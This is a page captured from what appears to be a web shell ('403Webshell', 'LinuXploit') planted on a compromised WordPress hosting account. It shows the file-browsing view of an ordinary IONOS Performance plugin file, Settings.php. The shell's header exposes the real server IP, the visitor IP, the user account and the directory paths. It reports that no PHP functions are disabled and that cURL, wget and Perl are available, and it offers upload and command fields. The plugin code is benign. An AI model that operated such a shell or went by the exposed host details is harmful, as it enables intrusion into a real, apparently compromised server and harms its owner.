403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/44/d845879113/htdocs/app750263/wp-content/plugins/ionos-performance/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/44/d845879113/htdocs/app750263/wp-content/plugins/ionos-performance/inc/Settings.php
<?php

namespace Ionos\Performance;

use Ionos\Performance\Menu;
use Ionos\SettingsPage\SettingsBuilder;

/**
 * Class Settings
 */
class Settings {

	/**
	 * SettingsBuilder instance.
	 *
	 * @var SettingsBuilder
	 */
	private $settings_builder;

	/**
	 * Settings constructor.
	 */
	public function __construct() {
		$this->settings_builder = new SettingsBuilder( 'ionos-performance', esc_html__( 'IONOS Performance', 'ionos-performance' ), 'ionos_performance' );
		$this->settings_builder->register_merge_hook();
	}

	/**
	 * Function for initializing the settings.
	 */
	public function init() {
		add_action(
			'admin_menu',
			function () {
				Menu::add_submenu_page(
					'Performance',
					'Performance',
					'manage_options',
					'ionos_performance',
					[ $this, 'options_page' ],
					null
				);
			}
		);

		add_action( 'admin_init', [ $this, 'register_settings' ] );
	}

	/**
	 * Function for registering the performance settings.
	 */
	public function register_settings() {
		$this->settings_builder->add_sanitize_callback( 'ionos-performance' );
	}

	/**
	 * Function for displaying the settings page.
	 */
	public function options_page() {
		$this->settings_builder->render();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit